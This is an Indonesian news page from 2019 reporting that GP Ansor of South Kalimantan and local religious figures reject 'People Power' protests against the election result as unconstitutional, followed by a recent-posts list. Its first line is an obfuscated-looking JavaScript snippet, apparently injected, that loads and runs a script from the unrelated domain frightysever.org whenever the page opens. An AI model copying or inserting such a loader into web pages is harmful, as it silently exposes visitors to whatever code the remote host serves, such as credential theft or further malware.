(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Tolak People Power, GP Ansor Kalsel : Itu Tindakan Inkonstitusional


BANJARMASIN, Pimpinan Wilayah (PW) Gerakan Pemuda (GP) Ansor Kalsel menolak isu gerakan People Power terkait pelaksanaan Pemilu 2019. Ansor Kalsel menyatakan siap ikut mengamankan hasil Pemilu serentak ini. Penegasan ini disampaikan Ketua PW GP Ansor Kalsel Teddy Suryana, kepada Kanalkalimantan.com, Minggu (12/5/2019).

Kata Teddy, Ansor dan Banser Kalsel siap menjadi garda terdepan jika isu people power dijalankan. Alasannya, karena langkah poeple power itu dianggap sebagai langkah inkonstitusional dan menyalahi aturan.

“Kalau tak terima hasil Pilpres harus lewat mekanisme yang benar, misalnya diselesaikan di Mahkamah Konstitusi (MK) atau jalur hukum lainnya, bukan melalui langkah-langkah inkonstitusional,” tegasnya.

“GP Ansor Kalsel akan terus memberikan dukungan kepada KPU untuk menyelesaikan tahapan pemilu dan bekerja dengan tenang sehingga hasil pemilu 2019 memiliki legitimasi yang kuat,” kata Teddy.

Menurut Teddy, ancaman pengerahan massa yang diembuskan pihak tertentu justru akan mengganggu kinerja penyelenggara pemilu dan tahapan yang sedang berjalan.

Sebelumnya sederetan tokoh agama dan tokoh masyarakat di Kabupaten Hulu Sungai Utara (HSU) Provinsi Kalimantan Selatan (Kalsel), mengajak kepada seluruh masyarakat untuk menerima hasil keputusan KPU terkait pemilu yang sudah selesai serta menghimbau untuk tidak melakukan kegiatan melanggar hukum.

“Saya sangat menolak dengan adanya kegiatan yang semena mena menggugurkan Presiden yang telah sah, bagaimana pun caranya itu melanggar hukum,” ungkap KH Asmuni (Guru Danau).

Sementara itu, KH Abdul Bari Tokoh Agama dari Sungai Pandan, Kabupaten HSU juga mengutarakan hal yang sama. Beliau menyatakan dan menerima hasil keputusan KPU yang akan diumumkan nanti dan menolak semua kegiatan kegiatan yang tidak sesuai dengan aturan.

Senada, Habib Abdillah bin Habib Abu Bakar Al Habsy pimpinan Majlis Ta’lim Asholawatiyah Pamintangan Kecamatan Amuntai Utara HSU ini, juga menolak kegiatan diatas tersebut.

“Karena aksi tersebut secara Politik tidak Demokratis dan kegiatan itu merupakn bagian dari makar dan bertentangan dengan hukum yang berlaku,” ungkap Habib. (bie)

Reporter:bie
Editor:kk

 


Desy Arfianty

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

9 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

10 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

10 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

15 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

15 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

16 jam ago

This website uses cookies.